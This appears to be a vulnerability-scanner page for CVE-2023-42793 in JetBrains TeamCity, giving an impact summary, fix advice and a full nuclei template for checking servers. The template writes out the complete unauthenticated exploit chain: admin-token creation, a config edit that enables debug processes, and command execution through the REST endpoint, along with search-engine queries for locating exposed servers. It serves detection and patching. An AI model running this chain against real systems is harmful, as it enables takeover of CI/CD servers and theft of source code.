JetBrains TeamCity < 2023.05.4 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-10-04; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible

Impact

Unauthenticated attackers can bypass authentication by creating admin tokens to gain full administrative access to TeamCity Server, potentially executing arbitrary code and compromising the entire CI/CD infrastructure and source code.

Fix

Update JetBrains TeamCity to version 2023.05.4 or later that properly validates authentication and prevents token creation through unauthenticated requests.

How to confirm it

Send: DELETE /app/rest/users/id:1/tokens/RPC2 ; POST /app/rest/users/id:1/tokens/RPC2 ; POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true ; POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties ; POST /app/rest/debug/processes?exePath=echo&params={{randstr}}
Positive when: contains in body_2 "<token name=\"RPC2\" creationTime" AND contains in body_5 "StdOut:{{randstr}}"

Run it with nuclei: nuclei -id CVE-2023-42793 -u <target>

The full check

id: CVE-2023-42793

info:
  name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
  impact: |
    Unauthenticated attackers can bypass authentication by creating admin tokens to gain full administrative access to TeamCity Server, potentially executing arbitrary code and compromising the entire CI/CD infrastructure and source code.
  remediation: |
    Update JetBrains TeamCity to version 2023.05.4 or later that properly validates authentication and prevents token creation through unauthenticated requests.
  reference:
    - https://www.jetbrains.com/privacy-security/issues-fixed/
    - https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
    - https://www.sonarsource.com/blog/teamcity-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42793
    - https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-42793
    cwe-id: CWE-288
    epss-score: 0.99988
    epss-percentile: 0.99984
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: jetbrains
    product: teamcity
    shodan-query:
      - title:TeamCity
      - http.title:teamcity
      - http.component:"teamcity"
    fofa-query:
      - title=TeamCity
      - title=teamcity
    google-query: intitle:teamcity
  tags: cve2023,cve,jetbrains,teamcity,rce,auth-bypass,intrusive,kev,vkev,vuln

http:
  - raw:
      - |
        DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /app/rest/debug/processes?exePath=echo&params={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<token name="RPC2" creationTime'

      - type: word
        part: body_5
        words:
          - 'StdOut:{{randstr}}'

    extractors:
      - type: regex
        part: body_2
        name: token
        group: 1
        regex:
          - 'value="(.*?)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from